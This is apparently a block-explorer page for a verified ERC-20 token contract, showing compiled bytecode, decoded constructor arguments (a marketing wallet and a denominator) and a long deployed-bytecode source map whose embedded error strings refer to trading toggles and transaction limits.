7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061393882612e8f565b915061394383612e8f565b925082613953576139526138fe565b5b828204905092915050565b60008151905061396d81612e99565b92915050565b60006020828403121561398957613988612e27565b5b60006139978482850161395e565b91505092915050565b7f43616e2774207769746864726177203000000000000000000000000000000000600082015250565b60006139d6601083612d6d565b91506139e1826139a0565b602082019050919050565b60006020820190508181036000830152613a05816139c9565b9050919050565b6000604082019050613a2160008301856130e1565b613a2e6020830184612f3b565b9392505050565b600081519050613a44816131b2565b92915050565b600060208284031215613a6057613a5f612e27565b5b6000613a6e84828501613a35565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613ad3602683612d6d565b9150613ade82613a77565b604082019050919050565b60006020820190508181036000830152613b0281613ac6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b65602483612d6d565b9150613b7082613b09565b604082019050919050565b60006020820190508181036000830152613b9481613b58565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bf7602283612d6d565b9150613c0282613b9b565b604082019050919050565b60006020820190508181036000830152613c2681613bea565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613c63601d83612d6d565b9150613c6e82613c2d565b602082019050919050565b60006020820190508181036000830152613c9281613c56565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613cf5602583612d6d565b9150613d0082613c99565b604082019050919050565b60006020820190508181036000830152613d2481613ce8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d87602383612d6d565b9150613d9282613d2b565b604082019050919050565b60006020820190508181036000830152613db681613d7a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613df3601683612d6d565b9150613dfe82613dbd565b602082019050919050565b60006020820190508181036000830152613e2281613de6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613e85603583612d6d565b9150613e9082613e29565b604082019050919050565b60006020820190508181036000830152613eb481613e78565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613ef1601383612d6d565b9150613efc82613ebb565b602082019050919050565b60006020820190508181036000830152613f2081613ee4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613f83603683612d6d565b9150613f8e82613f27565b604082019050919050565b60006020820190508181036000830152613fb281613f76565b9050919050565b6000613fc482612e8f565b9150613fcf83612e8f565b925082821015613fe257613fe16134c8565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000614049602183612d6d565b915061405482613fed565b604082019050919050565b600060208201905081810360008301526140788161403c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006140db602283612d6d565b91506140e68261407f565b604082019050919050565b6000602082019050818103600083015261410a816140ce565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614147602083612d6d565b915061415282614111565b602082019050919050565b600060208201905081810360008301526141768161413a565b9050919050565b60008151905061418c81612e63565b92915050565b6000602082840312156141a8576141a7612e27565b5b60006141b68482850161417d565b91505092915050565b6000819050919050565b60006141e46141df6141da846141bf565b61310b565b612e8f565b9050919050565b6141f4816141c9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61422f81612e51565b82525050565b60006142418383614226565b60208301905092915050565b6000602082019050919050565b6000614265826141fa565b61426f8185614205565b935061427a83614216565b8060005b838110156142ab5781516142928882614235565b975061429d8361424d565b92505060018101905061427e565b5085935050505092915050565b600060a0820190506142cd6000830188612f3b565b6142da60208301876141eb565b81810360408301526142ec818661425a565b90506142fb60608301856130e1565b6143086080830184612f3b565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061436e602683612d6d565b915061437982614312565b604082019050919050565b6000602082019050818103600083015261439d81614361565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000614400602483612d6d565b915061440b826143a4565b604082019050919050565b6000602082019050818103600083015261442f816143f3565b905091905056fea264697066735822122069e757c54f34cdebfdd749ea19157cfc45270c24a7c5838cc7986cbd67cfa32664736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000003a40672ae10e02fa4762fc7edf5f762ffbfab7ec0000000000000000000000000000000000000000000000000000000000000002

-----Decoded View---------------
Arg [0] : marketingWallet_ (address): 0x3a40672ae10E02FA4762fC7EDF5F762FFBFaB7ec
Arg [1] : denominator_ (uint256): 2

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000003a40672ae10e02fa4762fc7edf5f762ffbfab7ec
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000002


Deployed Bytecode Sourcemap

5541:9816:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;770:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1701:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1090:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1910:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12771:264;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6153:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5910:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;990:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2179:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7966:85;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6186:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5750:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13574:229;;;;;;;;;;;;;:::i;:::-;;5616:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14383:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6075:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1206:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;854:103:1;;;;;;;;;;;;;:::i;:::-;;8402:149:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;619:87:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;878:104:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8559:247;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8814:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2425:436;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1341:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8059:335;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13811:176;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13995:268;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14965:226;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13043:227;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6027:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7848:110;;;;;;;;;;;;;:::i;:::-;;1542:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13278:288;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5956:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;965:201:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5996:24:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6113:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;770:100;824:13;857:5;850:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;770:100;:::o;1701:201::-;1784:4;1801:13;1817:12;:10;:12::i;:::-;1801:28;;1840:32;1849:5;1856:7;1865:6;1840:8;:32::i;:::-;1890:4;1883:11;;;1701:201;;;;:::o;1090:108::-;1151:7;1178:12;;1171:19;;1090:108;:::o;1910:261::-;2007:4;2024:15;2042:12;:10;:12::i;:::-;2024:30;;2065:38;2081:4;2087:7;2096:6;2065:15;:38::i;:::-;2114:27;2124:4;2130:2;2134:6;2114:9;:27::i;:::-;2159:4;2152:11;;;1910:261;;;;;:::o;12771:264::-;12877:15;;;;;;;;;;;12861:31;;:12;:10;:12::i;:::-;:31;;;12853:40;;;;;;12909:9;12904:124;12928:10;;:17;;12924:1;:21;12904:124;;;12996:10;;13007:1;12996:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12972:44;;12981:13;;;;;;;;;;;12972:44;;;13011:4;12972:44;;;;;;:::i;:::-;;;;;;;;12947:3;;;;;:::i;:::-;;;;12904:124;;;;12771:264;;;:::o;6153:26::-;;;;:::o;5910:33::-;;;;:::o;990:92::-;1048:5;1073:1;1066:8;;990:92;:::o;2179:238::-;2267:4;2284:13;2300:12;:10;:12::i;:::-;2284:28;;2323:64;2332:5;2339:7;2376:10;2348:25;2358:5;2365:7;2348:9;:25::i;:::-;:38;;;;:::i;:::-;2323:8;:64::i;:::-;2405:4;2398:11;;;2179:238;;;;:::o;7966:85::-;8016:27;8022:12;:10;:12::i;:::-;8036:6;8016:5;:27::i;:::-;7966:85;:::o;6186:25::-;;;;:::o;5750:28::-;;;;;;;;;;;;;:::o;13574:229::-;13654:1;13630:21;:25;13622:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;13717:15;;;;;;;;;;;13701:31;;:12;:10;:12::i;:::-;:31;;;13693:40;;;;;;13752:10;13744:28;;:51;13773:21;13744:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13574:229::o;5616:52::-;;;:::o;14383:167::-;14481:15;;;;;;;;;;;14465:31;;:12;:10;:12::i;:::-;:31;;;14457:40;;;;;;14526:16;14508:15;;:34;;;;;;;;;;;;;;;;;;14383:167;:::o;6075:31::-;;;;;;;;;;;;;:::o;1206:127::-;1280:7;1307:9;:18;1317:7;1307:18;;;;;;;;;;;;;;;;1300:25;;1206:127;;;:::o;854:103:1:-;578:13;:11;:13::i;:::-;919:30:::1;946:1;919:18;:30::i;:::-;854:103::o:0;8402:149:4:-;578:13:1;:11;:13::i;:::-;8539:4:4::1;8497:31;:39;8529:6;8497:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;8402:149:::0;;:::o;619:87:1:-;665:7;692:6;;;;;;;;;;;685:13;;619:87;:::o;878:104:4:-;934:13;967:7;960:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;878:104;:::o;8559:247::-;578:13:1;:11;:13::i;:::-;8671::4::1;;;;;;;;;;;8663:21;;:4;:21;;;;8655:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;8757:41;8786:4;8792:5;8757:28;:41::i;:::-;8559:247:::0;;:::o;8814:144::-;8881:4;8905:36;:45;8942:7;8905:45;;;;;;;;;;;;;;;;;;;;;;;;;8898:52;;8814:144;;;:::o;2425:436::-;2518:4;2535:13;2551:12;:10;:12::i;:::-;2535:28;;2574:24;2601:25;2611:5;2618:7;2601:9;:25::i;:::-;2574:52;;2665:15;2645:16;:35;;2637:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;2758:60;2767:5;2774:7;2802:15;2783:16;:34;2758:8;:60::i;:::-;2849:4;2842:11;;;;2425:436;;;;:::o;1341:193::-;1420:4;1437:13;1453:12;:10;:12::i;:::-;1437:28;;1476;1486:5;1493:2;1497:6;1476:9;:28::i;:::-;1522:4;1515:11;;;1341:193;;;;:::o;8059:335::-;8168:15;;;;;;;;;;;8152:31;;:12;:10;:12::i;:::-;:31;;;8144:40;;;;;;8201:9;8196:191;8220:8;:15;8216:1;:19;8196:191;;;8309:8;8257:36;:49;8294:8;8303:1;8294:11;;;;;;;;:::i;:::-;;;;;;;;8257:49;;;;;;;;;;;;;;;;:60;;;;;;;;;;;;;;;;;;8353:8;8362:1;8353:11;;;;;;;;:::i;:::-;;;;;;;;8337:38;;;8366:8;8337:38;;;;;;:::i;:::-;;;;;;;;8237:3;;;;;:::i;:::-;;;;8196:191;;;;8059:335;;:::o;13811:176::-;13903:15;;;;;;;;;;;13887:31;;:12;:10;:12::i;:::-;:31;;;13879:40;;;;;;13968:10;:8;:10::i;:::-;13962:2;:16;;;;:::i;:::-;13951:7;:28;;;;:::i;:::-;13930:18;:49;;;;13811:176;:::o;13995:268::-;14076:15;;;;;;;;;;;14060:31;;:12;:10;:12::i;:::-;:31;;;14052:40;;;;;;14103:23;14129:24;14147:4;14129:9;:24::i;:::-;14103:50;;14164:18;14213:3;14203:7;14185:15;:25;;;;:::i;:::-;:31;;;;:::i;:::-;14164:52;;14227:28;14244:10;14227:16;:28::i;:::-;14041:222;;13995:268;:::o;14965:226::-;578:13:1;:11;:13::i;:::-;15043:5:4::1;15027:13;;:21;;;;;;;;;;;;;;;;;;15059:55;15093:13;;;;;;;;;;;15109:4;15059:25;:55::i;:::-;15125:58;15162:13;;;;;;;;;;;15178:4;15125:28;:58::i;:::-;14965:226:::0;:::o;13043:227::-;578:13:1;:11;:13::i;:::-;13197:10:4::1;:8;:10::i;:::-;13191:2;:16;;;;:::i;:::-;13166:21;:42;;;;:::i;:::-;13143:20;:65;;;;13251:10;:8;:10::i;:::-;13245:2;:16;;;;:::i;:::-;13231:10;:31;;;;:::i;:::-;13219:9;:43;;;;13043:227:::0;;:::o;6027:35::-;;;;:::o;7848:110::-;578:13:1;:11;:13::i;:::-;7917:4:4::1;7903:11;;:18;;;;;;;;;;;;;;;;;;7946:4;7932:11;;:18;;;;;;;;;;;;;;;;;;7848:110::o:0;1542:151::-;1631:7;1658:11;:18;1670:5;1658:18;;;;;;;;;;;;;;;:27;1677:7;1658:27;;;;;;;;;;;;;;;;1651:34;;1542:151;;;;:::o;13278:288::-;13364:15;;;;;;;;;;;13348:31;;:12;:10;:12::i;:::-;:31;;;13340:40;;;;;;13443:1;13406:8;13399:26;;;13434:4;13399:41;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;13391:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;13485:8;13478:25;;;13504:10;13523:8;13516:26;;;13551:4;13516:41;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13478:80;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13278:288;:::o;5956:33::-;;;;:::o;965:201:1:-;578:13;:11;:13::i;:::-;1074:1:::1;1054:22;;:8;:22;;;;1046:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1130:28;1149:8;1130:18;:28::i;:::-;965:201:::0;:::o;5996:24:4:-;;;;:::o;6113:31::-;;;;;;;;;;;;;:::o;92:98:1:-;145:7;172:10;165:17;;92:98;:::o;4564:346:4:-;4683:1;4666:19;;:5;:19;;;;4658:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4764:1;4745:21;;:7;:21;;;;4737:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4848:6;4818:11;:18;4830:5;4818:18;;;;;;;;;;;;;;;:27;4837:7;4818:27;;;;;;;;;;;;;;;:36;;;;4886:7;4870:32;;4879:5;4870:32;;;4895:6;4870:32;;;;;;:::i;:::-;;;;;;;;4564:346;;;:::o;4918:419::-;5019:24;5046:25;5056:5;5063:7;5046:9;:25::i;:::-;5019:52;;5106:17;5086:16;:37;5082:248;;5168:6;5148:16;:26;;5140:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5252:51;5261:5;5268:7;5296:6;5277:16;:25;5252:8;:51::i;:::-;5082:248;5008:329;4918:419;;;:::o;9160:3119::-;9274:1;9258:18;;:4;:18;;;;9250:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9351:1;9337:16;;:2;:16;;;;9329:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9420:1;9410:6;:11;9406:93;;;9438:28;9454:4;9460:2;9464:1;9438:15;:28::i;:::-;9481:7;;9406:93;9521:7;:5;:7::i;:::-;9513:15;;:4;:15;;;;:32;;;;;9538:7;:5;:7::i;:::-;9532:13;;:2;:13;;;;9513:32;:52;;;;;9563:1;9549:16;;:2;:16;;;;9513:52;:77;;;;;9583:6;9569:21;;:2;:21;;;;9513:77;:90;;;;;9595:8;;;;;;;;;;;9594:9;9513:90;9509:1378;;;9725:11;;;;;;;;;;;9720:174;;9765:36;:42;9802:4;9765:42;;;;;;;;;;;;;;;;;;;;;;;;;:86;;;;9811:36;:40;9848:2;9811:40;;;;;;;;;;;;;;;;;;;;;;;;;9765:86;9757:121;;;;;;;;;;;;:::i;:::-;;;;;;;;;9720:174;9935:12;9908:18;:24;9927:4;9908:24;;;;;;;;;;;;;;;:39;;;;10019:25;:31;10045:4;10019:31;;;;;;;;;;;;;;;;;;;;;;;;;:71;;;;;10055:31;:35;10087:2;10055:35;;;;;;;;;;;;;;;;;;;;;;;;;10054:36;10019:71;10015:861;;;10129:20;;10119:6;:30;;10111:96;;;;;;;;;;;;:::i;:::-;;;;;;;;;10260:9;;10243:13;10253:2;10243:9;:13::i;:::-;10234:6;:22;;;;:::i;:::-;:35;;10226:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10015:861;;;10450:25;:29;10476:2;10450:29;;;;;;;;;;;;;;;;;;;;;;;;;:71;;;;;10484:31;:37;10516:4;10484:37;;;;;;;;;;;;;;;;;;;;;;;;;10483:38;10450:71;10446:430;;;10560:20;;10550:6;:30;;10542:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;10446:430;;;10737:31;:35;10769:2;10737:35;;;;;;;;;;;;;;;;;;;;;;;;;10732:144;;10827:9;;10810:13;10820:2;10810:9;:13::i;:::-;10801:6;:22;;;;:::i;:::-;:35;;10793:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10732:144;10446:430;10015:861;9509:1378;10946:28;10977:24;10995:4;10977:9;:24::i;:::-;10946:55;;11012:12;11050:18;;11027:20;:41;11012:56;;11083:7;:22;;;;;11094:11;;;;;;;;;;;11083:22;:35;;;;;11110:8;;;;;;;;;;;11109:9;11083:35;:71;;;;;11123:25;:31;11149:4;11123:31;;;;;;;;;;;;;;;;;;;;;;;;;11122:32;11083:71;:118;;;;;11159:36;:42;11196:4;11159:42;;;;;;;;;;;;;;;;;;;;;;;;;11158:43;11083:118;:163;;;;;11206:36;:40;11243:2;11206:40;;;;;;;;;;;;;;;;;;;;;;;;;11205:41;11083:163;11079:267;;;11274:4;11263:8;;:15;;;;;;;;;;;;;;;;;;11293:10;:8;:10::i;:::-;11329:5;11318:8;;:16;;;;;;;;;;;;;;;;;;11079:267;11452:12;11468:8;;;;;;;;;;;11467:9;:55;;;;;11480:36;:42;11517:4;11480:42;;;;;;;;;;;;;;;;;;;;;;;;;11467:55;:100;;;;;11527:36;:40;11564:2;11527:40;;;;;;;;;;;;;;;;;;;;;;;;;11526:41;11467:100;11452:115;;11578:12;11609:7;11605:515;;;11682:25;:29;11708:2;11682:29;;;;;;;;;;;;;;;;;;;;;;;;;11678:279;;;11739:28;11763:3;11739:19;11750:7;;11739:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;11732:35;;11678:279;;;11855:25;:31;11881:4;11855:31;;;;;;;;;;;;;;;;;;;;;;;;;11852:105;;;11914:27;11937:3;11914:18;11925:6;;11914;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;11907:34;;11852:105;11678:279;11986:1;11979:4;:8;11975:91;;;12008:42;12024:4;12038;12045;12008:15;:42::i;:::-;11975:91;12090:4;12080:14;;;;;:::i;:::-;;;11605:515;12133:36;:42;12170:4;12133:42;;;;;;;;;;;;;;;;;;;;;;;;;12130:98;;;12195:17;12207:4;12195:11;:17::i;:::-;12130:98;12238:33;12254:4;12260:2;12264:6;12238:15;:33::i;:::-;9239:3040;;;;9160:3119;;;;:::o;3961:595::-;4064:1;4045:21;;:7;:21;;;;4037:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4117:49;4138:7;4155:1;4159:6;4117:20;:49::i;:::-;4179:22;4204:9;:18;4214:7;4204:18;;;;;;;;;;;;;;;;4179:43;;4259:6;4241:14;:24;;4233:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;4378:6;4361:14;:23;4340:9;:18;4350:7;4340:18;;;;;;;;;;;;;;;:44;;;;4415:6;4399:12;;:22;;;;;;;;;;;4476:1;4450:37;;4459:7;4450:37;;;4480:6;4450:37;;;;;;:::i;:::-;;;;;;;;4500:48;4520:7;4537:1;4541:6;4500:19;:48::i;:::-;4026:530;3961:595;;:::o;714:132:1:-;789:12;:10;:12::i;:::-;778:23;;:7;:5;:7::i;:::-;:23;;;770:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;714:132::o;1174:191::-;1248:16;1267:6;;;;;;;;;;;1248:25;;1293:8;1284:6;;:17;;;;;;;;;;;;;;;;;;1348:8;1317:40;;1338:8;1317:40;;;;;;;;;;;;1237:128;1174:191;:::o;8966:186:4:-;9083:5;9049:25;:31;9075:4;9049:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;9138:5;9104:40;;9132:4;9104:40;;;;;;;;;;;;8966:186;;:::o;12287:476::-;12353:21;12391:1;12377:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12353:40;;12422:4;12404;12409:1;12404:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;12448:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12438:4;12443:1;12438:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;12482:63;12499:4;12514:16;12533:11;12482:8;:63::i;:::-;12556:16;:67;;;12638:11;12664:1;12680:4;12699:15;;;;;;;;;;;12729;12556:199;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12342:421;12287:476;:::o;2869:641::-;2982:1;2966:18;;:4;:18;;;;2958:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3059:1;3045:16;;:2;:16;;;;3037:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3114:38;3135:4;3141:2;3145:6;3114:20;:38::i;:::-;3165:19;3187:9;:15;3197:4;3187:15;;;;;;;;;;;;;;;;3165:37;;3236:6;3221:11;:21;;3213:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;3353:6;3339:11;:20;3321:9;:15;3331:4;3321:15;;;;;;;;;;;;;;;:38;;;;3391:6;3374:9;:13;3384:2;3374:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;3441:2;3426:26;;3435:4;3426:26;;;3445:6;3426:26;;;;;;:::i;:::-;;;;;;;;3465:37;3485:4;3491:2;3495:6;3465:19;:37::i;:::-;2947:563;2869:641;;;:::o;14558:399::-;14597:23;14623:24;14641:4;14623:9;:24::i;:::-;14597:50;;14681:1;14662:15;:20;14658:91;;;14731:7;;;14658:91;14761:20;14784:15;14761:38;;14829:18;;14814:12;:33;14810:99;;;14879:18;;14864:33;;14810:99;14919:30;14936:12;14919:16;:30::i;:::-;14586:371;;14558:399;:::o;1413:98:2:-;1471:7;1502:1;1498;:5;;;;:::i;:::-;1491:12;;1413:98;;;;:::o;1519:::-;1577:7;1608:1;1604;:5;;;;:::i;:::-;1597:12;;1519:98;;;;:::o;15199:155:4:-;15268:37;15278:18;:26;15297:6;15278:26;;;;;;;;;;;;;;;;15268:9;:37::i;:::-;15260:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;15199:155;:::o;5345:91::-;;;;:::o;5444:90::-;;;;:::o;14271:104::-;14325:4;14355:12;14348:4;:19;14341:26;;14271:104;;;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1397:75::-;1430:6;1463:2;1457:9;1447:19;;1397:75;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:2